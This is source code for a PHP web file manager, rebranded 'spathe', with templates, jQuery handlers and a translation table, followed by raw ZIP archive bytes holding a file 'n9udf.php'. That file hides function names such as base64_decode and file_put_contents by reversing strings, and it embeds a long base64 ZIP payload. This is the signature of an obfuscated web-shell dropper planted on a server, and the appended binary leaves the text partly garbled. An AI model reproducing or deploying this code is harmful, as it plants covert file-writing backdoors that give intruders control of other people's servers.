<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'spathe'; $tr['en']['AppTitle'] = 'spathe';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK 0Cm\������ �� n9udf.phpnu �[��� <?php
$decode = strrev('edoced_46esab');$decode2 = strrev('edocnezg');$decode3 = strrev('edocedzg');$decode4 = strrev('sserpmoczg');$decode5 = strrev('sserpmocnuzg');$write = strrev('stnetnoc_tup_elif');$mkdir = strrev('ridkm');$unlink = strrev('knilnu');$glob = strrev('bolg');$is_file = strrev('elif_si');
$zipData = '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